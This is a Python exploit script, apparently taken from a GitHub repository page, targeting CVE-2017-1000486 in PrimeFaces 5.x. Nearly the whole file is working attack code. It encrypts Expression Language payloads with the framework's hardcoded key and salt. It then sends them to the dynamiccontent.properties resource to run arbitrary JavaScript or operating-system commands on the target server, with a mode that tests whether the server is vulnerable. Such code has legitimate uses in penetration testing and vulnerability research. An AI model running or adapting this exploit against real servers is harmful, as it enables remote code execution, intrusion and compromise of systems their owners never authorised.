-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathprimefaces.py
executable file
·114 lines (88 loc) · 4.12 KB
/
primefaces.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
import requests
import argparse
import os.path
import base64
from Crypto.Hash import MD5
from Crypto.Cipher import DES
def send_request(url, payload, extension):
post_params = {
'pfdrt': 'sc',
'ln': 'primefaces',
'pfdrid' : payload,
}
target_url = url + "/javax.faces.resource/dynamiccontent.properties." + extension
print("[+] Sending payload")
try:
response = requests.post(target_url, data = post_params, verify=False, allow_redirects=False)
return response
except:
print("[-] Error: Unable to connect to target {}".format(url))
exit(1)
def encrypt_js_code(filename):
try:
js_file = open(filename, 'r')
payload = js_file.read()
payload = payload.replace('"','M0gWaI').strip()
full_payload = "${facesContext.getExternalContext().getClass().getClassLoader().loadClass(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + payload + "\".replace('M0gWaI','\"'))}"
js_file.close()
return encrypt(full_payload)
except:
print("[-] Error: Unable to read JavaScript payload from file {0}".format(filename))
exit(1)
def encrypt_os_command(command):
# I'm lazy
if command.find("\"") != -1:
print("[-] Error, your command contains a double quote, please use a JavaScript file instead")
exit(1)
full_payload = "${facesContext.getExternalContext().getClass().getClassLoader().loadClass(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('" + command + "')\")}"
return encrypt(full_payload)
def encrypt(plaintext, password = b"primefaces", salt = b"\xA9\x9B\xC8\x32\x56\x34\xE3\x03", iterations=19):
# based on https://stackoverflow.com/questions/24168246/replicate-javas-pbewithmd5anddes-in-python-2-7
# Pad plaintext per RFC 2898 Section 6.1
padding = 8 - len(plaintext) % 8
plaintext += chr(padding) * padding
hasher = MD5.new()
hasher.update(password)
hasher.update(salt)
result = hasher.digest()
for i in range(1, iterations):
hasher = MD5.new()
hasher.update(result)
result = hasher.digest()
encoder = DES.new(result[:8], DES.MODE_CBC, result[8:16])
encrypted = encoder.encrypt(plaintext.encode("utf8"))
return base64.b64encode(encrypted)
if __name__== "__main__":
print("")
print("PrimeFaces 5.x EL injection exploit (CVE-2017-1000486) by MOGWAI LABS")
print("=====================================================================")
print("")
argparser = argparse.ArgumentParser(description="PrimeFaces 5.x EL injection exploit")
argparser.add_argument("url", help="The target URL (http/https)")
argparser.add_argument("payload", help="File with the JavaScript (Rino/Nashorn) code to execute or OS command", nargs='?')
argparser.add_argument("-t", "--test", help="Test mode (off by default)", action='store_true')
argparser.add_argument("-e", "--extension", help="Extension of the target (xhtml, jsf)", default="xhtml")
arguments = argparser.parse_args()
target_url = arguments.url
target_extension = arguments.extension
# Testing mode
if arguments.test:
payload = encrypt("${facesContext.getExternalContext().setResponseHeader(\"MOGWAILABS\",\"CHKCHK\")}")
response = send_request(target_url, payload, target_extension)
if "MOGWAILABS" in response.headers:
print("[+] Target is vulnerable")
else:
print("[-] Target is not vulnerable")
exit(0)
# Execute the actual payload
# Are we dealing with a file or a OS command
if os.path.isfile(arguments.payload):
payload = encrypt_js_code(arguments.payload)
print("[+] Running JS file: {}".format(arguments.payload))
send_request(target_url, payload, target_extension)
else:
payload = encrypt_os_command(arguments.payload)
print("[+] Running OS command: {}".format(arguments.payload))
send_request(target_url, payload, target_extension)
print("[+] Done")